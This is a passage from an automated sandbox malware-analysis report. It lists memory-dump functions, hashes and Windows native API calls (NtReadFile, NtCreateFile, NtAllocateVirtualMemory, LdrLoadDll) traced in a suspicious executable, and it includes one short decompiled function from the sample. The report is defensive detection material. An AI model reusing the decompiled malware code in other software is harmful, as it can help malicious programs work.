Opcode Fuzzy Hash: c10f855bf2aea4a9e0c74ebe0685f59f03842cb899156712573f70a414475363
Instruction Fuzzy Hash: 15D05E79305A814FD326CA1CD1ACB957B94AB55B04F5A48FDEC00CB6A3C3A8D582D600

Uniqueness

Uniqueness Score: -1.00%

Function 0957758C, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2cf7f17153e4a9c65f2cbcf2c9dbaf37c6518c42aba095b0cf56883367712f7
Instruction ID: 4e5fe6032473f1d9590a6db07ef8145596b9f2fff5eb46b18c182e17b33e41e5
Opcode Fuzzy Hash: b2cf7f17153e4a9c65f2cbcf2c9dbaf37c6518c42aba095b0cf56883367712f7
Instruction Fuzzy Hash: 83E0BD749082289FDB44CFA4C880A9EFBB5BB49300F11A495C459A7610E7306A40CF26

Uniqueness

Uniqueness Score: -1.00%

Function 031023BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249719627.0000000003102000.00000040.00000001.sdmp, Offset: 03102000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7273aa1184a84b50d91daa3206fd61826f6cded59438ae1120bd5b579502e67e
Instruction ID: c068428ffcae14456d6e82d75c8fae0dcf2c43ea01fa73bdc22b27fde2956245
Opcode Fuzzy Hash: 7273aa1184a84b50d91daa3206fd61826f6cded59438ae1120bd5b579502e67e
Instruction Fuzzy Hash: 62D05E342002814BCB25DB1CD1D8F5977D4AB89B00F0A48FDAC008F2A2C7B4D8C2C600

Uniqueness

Uniqueness Score: -1.00%

Function 058100CD, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ac2ce67fbb27d93c8526b5cdb354780f8e488343197ec4108475ab8bf1d0af
Instruction ID: ed353cfb7eecab6d8925c6c4986c11fdaded7ff53e8094caad6d00de8efd45ce
Opcode Fuzzy Hash: 13ac2ce67fbb27d93c8526b5cdb354780f8e488343197ec4108475ab8bf1d0af
Instruction Fuzzy Hash: 07D0C936E05208CF8F149FA8E4440DCF771EBCE225B10906AC618B3304C7319455CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0957046A, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb7720009f258f35d8fb2d6996090f8d862890cc67ccc491d44bdb53da81797
Instruction ID: a971a41fe083ce78060b31defc7e6d47893becc62ed83f917ae87567d59d553b
Opcode Fuzzy Hash: 9fb7720009f258f35d8fb2d6996090f8d862890cc67ccc491d44bdb53da81797
Instruction Fuzzy Hash: 81E092B091225ADFDBA8DF24ED80E8CBBF1FB45201F509A99D009A7250DB345E86CF14

Uniqueness

Uniqueness Score: -1.00%

Function 09577103, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc1046c90d3ed2ff6ff7da18160affb539f98d607f9641155356b3b93e43caa
Instruction ID: 604c59d3361ee3cdfc304cdc68d25e2d2acb4997e96394a7ae0cf822d4941e36
Opcode Fuzzy Hash: 1bc1046c90d3ed2ff6ff7da18160affb539f98d607f9641155356b3b93e43caa
Instruction Fuzzy Hash: 84D0C974D042188BCF54CFA0C880BAEF775AF18300F1094998459A3241E7305980CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09577B84, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b38066e1f7986e061c9b9f075a6c046127bf79e11c7f5b3ed6fc02da9aa311c
Instruction ID: eeceb4ac43625f90c74f25abb472b0f568873a0855c43dc3879b2d38cf1b6482
Opcode Fuzzy Hash: 7b38066e1f7986e061c9b9f075a6c046127bf79e11c7f5b3ed6fc02da9aa311c
Instruction Fuzzy Hash: 0FC01278E083088BCB80CF90C480BEDF7B9BB49300F10A0A5980DA7200EB309A42CB16

Uniqueness

Uniqueness Score: -1.00%

Function 09576769, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e93ea962d58dfe6beefaa2d2e4038a029cb37f310b8b664f79b556d87b31ae
Instruction ID: a7f21ac38dba43e701a5b19f7d4dec29835122dfc034c8c4d954edaf4b9758db
Opcode Fuzzy Hash: a8e93ea962d58dfe6beefaa2d2e4038a029cb37f310b8b664f79b556d87b31ae
Instruction Fuzzy Hash: DBC002B8D053189FCB50DF90D584BADFBB9BB49340F1064A5950DA7290E7315A42CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 095720BE, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c6c4b5157ed11ac72eaeff7ca8f21679847ad8bc2cb9f5ffb56bb973decb175
Instruction ID: 7175e9f5b779ec47d27859ae87959a040f9e9ddbf6379269cebbe10c7c67b73f
Opcode Fuzzy Hash: 8c6c4b5157ed11ac72eaeff7ca8f21679847ad8bc2cb9f5ffb56bb973decb175
Instruction Fuzzy Hash: DDD0C930A06395CFC714CFA0C284898BBB1FB05355F90086A90069E214DB35AA44CF04

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 030F176C, Relevance: 5.7, Strings: 4, Instructions: 702COMMON

Download Yara Rule

Strings

p, xrefs: 030F1829
p, xrefs: 030F1BC1
p, xrefs: 030F1A11
p, xrefs: 030F17D1

Memory Dump Source

Source File: 00000000.00000002.249708552.00000000030F0000.00000040.00000040.sdmp, Offset: 030F0000, based on PE: false

Similarity

API ID:
String ID: p$p$p$p
API String ID: 0-3467077657
Opcode ID: e6f3bcbc9431850909b90106d1f8c65c8d25e3d48c64bd3e99a37298d92c063a
Instruction ID: b9c810c8366761d5d8358170fdf80f4ab57a999ace838a34796cc00256cb2688
Opcode Fuzzy Hash: e6f3bcbc9431850909b90106d1f8c65c8d25e3d48c64bd3e99a37298d92c063a
Instruction Fuzzy Hash: 0BC1026580E3C28FC307AB788864695BFB1AE03A14B1F45DBC0D1CF5B3E668585AC772

Uniqueness

Uniqueness Score: -1.00%

Function 030F1D47, Relevance: 4.2, Strings: 3, Instructions: 427COMMON

Download Yara Rule

Strings

p, xrefs: 030F1F99
q, xrefs: 030F2059
p, xrefs: 030F1ED9

Memory Dump Source

Source File: 00000000.00000002.249708552.00000000030F0000.00000040.00000040.sdmp, Offset: 030F0000, based on PE: false

Similarity

API ID:
String ID: p$p$q
API String ID: 0-2461788135
Opcode ID: 0368c04101731e005df2889a34dc6d201776933dc73df773362ce9c31be5fe92
Instruction ID: fa125f3de266fc96c96493edc84b347f66a5574a6ce0fea5913d8391bf6bd95e
Opcode Fuzzy Hash: 0368c04101731e005df2889a34dc6d201776933dc73df773362ce9c31be5fe92
Instruction Fuzzy Hash: E471146580E7C29FC70B9B7498646857FB1AE13254B0F01EBC090CF5B3E6AC484AD772

Uniqueness

Uniqueness Score: -1.00%

Function 03117D14, Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249733298.0000000003112000.00000040.00000001.sdmp, Offset: 03112000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d0265164f8e29e89b7cd4ec38e64f9cde2d5ade16d93e0cb6f1a684f0bab5b
Instruction ID: dd4740f4fc2dfe85da82c354e27aa3b2e3b1296654eda911cd89436c2a000619
Opcode Fuzzy Hash: c4d0265164f8e29e89b7cd4ec38e64f9cde2d5ade16d93e0cb6f1a684f0bab5b
Instruction Fuzzy Hash: 45C16A324893818FC752CF74C8916E57BB1FF0732875A81EAC4918F663E36AA857CB51

Uniqueness

Uniqueness Score: -1.00%

Function 03118B13, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249733298.0000000003112000.00000040.00000001.sdmp, Offset: 03112000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19394b1f371038f9207f91daa9817e35c222efd51f464af869536a992edabe5c
Instruction ID: 67701cae3b539d6954a0068ed7cda472e459d675a18f4070e103de1bde9bf244
Opcode Fuzzy Hash: 19394b1f371038f9207f91daa9817e35c222efd51f464af869536a992edabe5c
Instruction Fuzzy Hash: B871D67148E3C2CFC3578F708865581BFB0AF1322971A45EFC491CF5A3E26A485ACB66

Uniqueness

Uniqueness Score: -1.00%

Function 05818E73, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9ad3c6278d75b569a911d6500d11ba98d405be6a0fda820e22aa7c7a8116c8
Instruction ID: 9acf5227732ecc9681325838de3bc9eb0ef7ec6ef37bbe9dadba235bb3a98752
Opcode Fuzzy Hash: ac9ad3c6278d75b569a911d6500d11ba98d405be6a0fda820e22aa7c7a8116c8
Instruction Fuzzy Hash: 2D615D74D01208CFCB44DFA8C499AADBBF2FF49305F1480AAE819AB761DB366955CF04

Uniqueness

Uniqueness Score: -1.00%

Function 05818E80, Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21d515893158ee575221a9a02b04427b36beba1386ac0d9771f4a3622ffcd20d
Instruction ID: 0dd948bddc51c2408ef26c3697475553ba9cd279e39f7b54e78f96c6ae06fb7d
Opcode Fuzzy Hash: 21d515893158ee575221a9a02b04427b36beba1386ac0d9771f4a3622ffcd20d
Instruction Fuzzy Hash: A4614C74D01208CFCB44DFA8C499AADBBF2FF49305F1480AAE819AB360DB366955CF15

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 08917506_by_Libranalysis.exe PID: 1020 Parent PID: 1144 08917506_by_Libranalysis.exeCOMMON

Executed Functions

Function 0041825A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041825A(void* __eax, void* __edx, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _v117;
				void* _t20;
				void* _t31;
				void* _t32;
				intOrPtr* _t33;
				void* _t35;

				_t15 = _a4;
				_t33 = _a4 + 0xc48;
				E00418DB0(_t31, _t15, _t33,  *((intOrPtr*)(_t15 + 0x10)), 0, 0x2a);
				_t7 =  &_a32; // 0x413d42
				_t13 =  &_a8; // 0x413d42
				_t20 =  *((intOrPtr*)( *_t33))( *_t13, _a12, _a16, _a20, _a24, _a28,  *_t7, _a36, _a40, _t32, _t35); // executed
				return _t20;
			}

0x00418263
0x0041826f
0x00418277
0x00418282
0x0041829d
0x004182a5
0x004182a9

APIs

NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182A5

Strings

B=A, xrefs: 0041829D, 004182A4
B=A, xrefs: 00418282, 00418290

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: B=A$B=A
API String ID: 2738559852-2767357659
Opcode ID: 12cce319d1a7b72d119cb2e77ed03464608f23d40716ae4d1091031997643138
Instruction ID: 66c7545d8dcab117d1fdbcd100ff1571ad80982c2cb320805afd99e40731ef81
Opcode Fuzzy Hash: 12cce319d1a7b72d119cb2e77ed03464608f23d40716ae4d1091031997643138
Instruction Fuzzy Hash: 77F0F9B2200108AFCB14CF99DC91DEB77A9BF8C354F158249FA4DE7241CA30E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418260, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418260(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DB0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d42
				_t12 =  &_a8; // 0x413d42
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418263
0x0041826f
0x00418277
0x00418282
0x0041829d
0x004182a5
0x004182a9

APIs

NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182A5

Strings

B=A, xrefs: 0041829D, 004182A4
B=A, xrefs: 00418282, 00418290

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: B=A$B=A
API String ID: 2738559852-2767357659
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 36fb0ef1660234b95adbc5e615de389476f61a426637268b67c73261640a8fd9
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 2AF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B10, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B82

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: 046ff59bb8e44ad8641c0e43070f5aeaf3db9792b4ffc4f87dfb9ba9f6fb7e9c
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: D70112B5D4010DB7DF10EAE5DC42FDEB378AB54318F1041A5E908A7281F635EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181AA, Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 004181FD

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4b38b0cf1d2975e495ced0448c5f784c9d59c1a7d78a43c72fbfd1b41b3db24f
Instruction ID: a8a3590aa8dce4a5abaa6b5e85bed8fd40d4da28fe9e233dd66892b9b0e01251
Opcode Fuzzy Hash: 4b38b0cf1d2975e495ced0448c5f784c9d59c1a7d78a43c72fbfd1b41b3db24f
Instruction Fuzzy Hash: C2F0E7B2214149ABCB08CF98DC85CEB77A9FF8C354B15878DFA5D97202D634EC518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004181B0, Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 004181FD

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 1505d2c2fac7169f29cf6ab97caa2a59105c471fc85729d0552dd22f4c6ed161
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: D7F0B6B2200208ABCB48CF89DC85DEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418390, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F84,?,00000000,?,00003000,00000040,00000000,00000000,00408AE3), ref: 004183C9

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: c1f36b05bbd4b7963809c3793a6f2df241a2ee7dc34c60eca979b2d1d68cf477
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 1DF015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241CA30F810CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 004182E0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418305

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: 2c2b34aedc846ab3ae484734a1171ee081eb0df99b6426d3cac892bcac86a451
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 7CD012752003146BD710EF99DC45ED7775CEF44750F154459BA185B242C930F90086E4

Uniqueness

Uniqueness Score: -1.00%

Function 015B9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B991A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18bb6273a73d37943232738183bb9d502c0e7515bc6b02889b6b5d10b6feec5b
Instruction ID: 974be024ab57c8b377b488ed1723aa7de8e2bb88eb6f54a2b81f38af04ca04f7
Opcode Fuzzy Hash: 18bb6273a73d37943232738183bb9d502c0e7515bc6b02889b6b5d10b6feec5b
Instruction Fuzzy Hash: 299002B124100406D24075D984047460055B7D0741F51C425A5058994EC6998DD576E5

Uniqueness

Uniqueness Score: -1.00%

Function 015B99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B99AA

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ed5c0f449d828b3da891301340fbc280f9a81a873192850a50608ef9587b819a
Instruction ID: fd714962211e7ab0f486523445415f2d99f1aa6bda1f74e4b56dcbdc70e78302
Opcode Fuzzy Hash: ed5c0f449d828b3da891301340fbc280f9a81a873192850a50608ef9587b819a
Instruction Fuzzy Hash: F99002B138100446D20065D98414B060055F7E1741F51C429E1058994DC659CC5271A6

Uniqueness

Uniqueness Score: -1.00%

Function 015B9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B984A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9e4b56a4e40fb422fc7b057131909595fe6afc42c4295ea01540c8763d53b37a
Instruction ID: 35fcfe14aaeb5bf1beb8eea8788d587beff5826ec1ade95f7ad99c6801e99183
Opcode Fuzzy Hash: 9e4b56a4e40fb422fc7b057131909595fe6afc42c4295ea01540c8763d53b37a
Instruction Fuzzy Hash: 2B900271282041565645B5D984045074056B7E0681791C426A1408D90CC5669856E6A1

Uniqueness

Uniqueness Score: -1.00%

Function 015B9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B986A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6c584b4b51a4716432625cf08f4c7c1fa3d5d812eef6218049409443d75a3a35
Instruction ID: 0cb1c5e3144fe827a6f41f41848b3f621a9dd8ea9887ac1f7d5572403d967795
Opcode Fuzzy Hash: 6c584b4b51a4716432625cf08f4c7c1fa3d5d812eef6218049409443d75a3a35
Instruction Fuzzy Hash: DD90027124100417D21165D985047070059B7D0681F91C826A0418998DD6968952B1A1

Uniqueness

Uniqueness Score: -1.00%

Function 015B98F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B98FA

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b13e41e2a922bcc288beb5c897eb8feb3e02905bb14473e8cdd5a9936708908e
Instruction ID: 5bb7568b8752c6b58d162607033f7fe210eb1013fff69b45d0deeef03c37ca9d
Opcode Fuzzy Hash: b13e41e2a922bcc288beb5c897eb8feb3e02905bb14473e8cdd5a9936708908e
Instruction Fuzzy Hash: 3390027164100506D20175D98404616005AB7D0681F91C436A1018995ECA658992B1B1

Uniqueness

Uniqueness Score: -1.00%

Function 015B9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B9A5A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8fc36a514da6de4c3ceea028258005ecfa6a3ab6063dff894eec8da3abcbd65c
Instruction ID: d046cea7fa7da61780219de729abb29f8ddb78b49ad7ee7dd18d3e65bed97327
Opcode Fuzzy Hash: 8fc36a514da6de4c3ceea028258005ecfa6a3ab6063dff894eec8da3abcbd65c
Instruction Fuzzy Hash: AF90027125180046D30069E98C14B070055B7D0743F51C529A0148994CC955886165A1

Uniqueness

Uniqueness Score: -1.00%

Function 015B9A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B9A0A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9d034dd78b481d2f94ca6f189017858227ec6fc1c2d63a0b875a632050d33389
Instruction ID: 94281a39fb101ff25199cd3a10beac041ce779f83c549b552452ce9a0db1eaa3
Opcode Fuzzy Hash: 9d034dd78b481d2f94ca6f189017858227ec6fc1c2d63a0b875a632050d33389
Instruction Fuzzy Hash: A290027124140406D20065D9881470B0055B7D0742F51C425A1158995DC665885175F1

Uniqueness

Uniqueness Score: -1.00%

Function 015B9A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B9A2A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 767a5bf4520074f07a1acf6b95904ebc9ebef523a7d167ecf0d69afaa677ac4d
Instruction ID: e6231202a48387683b58bd9a6e75164bba1605d4d369a98918acb697cdfdd5d6
Opcode Fuzzy Hash: 767a5bf4520074f07a1acf6b95904ebc9ebef523a7d167ecf0d69afaa677ac4d
Instruction Fuzzy Hash: 6E90027164100046424075E9C8449064055BBE1651751C535A098C990DC599886566E5

Uniqueness

Uniqueness Score: -1.00%

Function 015B9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B954A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c9e9aba252267be02d3ce5e53e7d070373d713cad86b7d9d9d07ffacc421e956
Instruction ID: 60277dc6b83fb4c8f484d5a3c90a9837acf3685c597e493bbb44a3147052706c
Opcode Fuzzy Hash: c9e9aba252267be02d3ce5e53e7d070373d713cad86b7d9d9d07ffacc421e956
Instruction Fuzzy Hash: 29900275251000070205A9D947045070096B7D5791351C435F1009990CD661886161A1

Uniqueness

Uniqueness Score: -1.00%

Function 015B95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B95DA

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 84028fc35c4425d0de2316e5032b4c26dbc825b0a93fbcf5b57e821a1b5f38f5
Instruction ID: 96bd1ea5bac1f8ff178831d8eb6f2a31f79ec06efa5f04dae4b11027f9ede02b
Opcode Fuzzy Hash: 84028fc35c4425d0de2316e5032b4c26dbc825b0a93fbcf5b57e821a1b5f38f5
Instruction Fuzzy Hash: 3F9002B124200007420575D98414616405AB7E0641B51C435E10089D0DC565889171A5

Uniqueness

Uniqueness Score: -1.00%

Function 015B9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B971A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a622e351bb897ee0f70b98f003cfcde0fa16b995476025ec9a79ebae80707eac
Instruction ID: 33812dc211af03725cd8d964927a85db27159c80037c6e8712f9ff85a4b4b77f
Opcode Fuzzy Hash: a622e351bb897ee0f70b98f003cfcde0fa16b995476025ec9a79ebae80707eac
Instruction Fuzzy Hash: C790027124100406D20069D994086460055B7E0741F51D425A5018995EC6A5889171B1

Uniqueness

Uniqueness Score: -1.00%

Function 015B9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B9FEA

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 97f0d2578fd1e209cf69dccd3364fa958b9a7a844aca5e47a3ffe8614363b585
Instruction ID: 7006e0b0affa5e02738615de61e15169c6c4361f10ee378f9d18ca91027f73d8
Opcode Fuzzy Hash: 97f0d2578fd1e209cf69dccd3364fa958b9a7a844aca5e47a3ffe8614363b585
Instruction Fuzzy Hash: B390027135114406D21065D9C4047060055B7D1641F51C825A0818998DC6D5889171A2

Uniqueness

Uniqueness Score: -1.00%

Function 015B9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B978A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9bb04778df595cc71818b85c56bd8a18a0bb73dc2c0ed231944e4f7e861e5783
Instruction ID: dbc5d53adbaee4d92840e76363622a886f44ca714641919bd9ee23547755b027
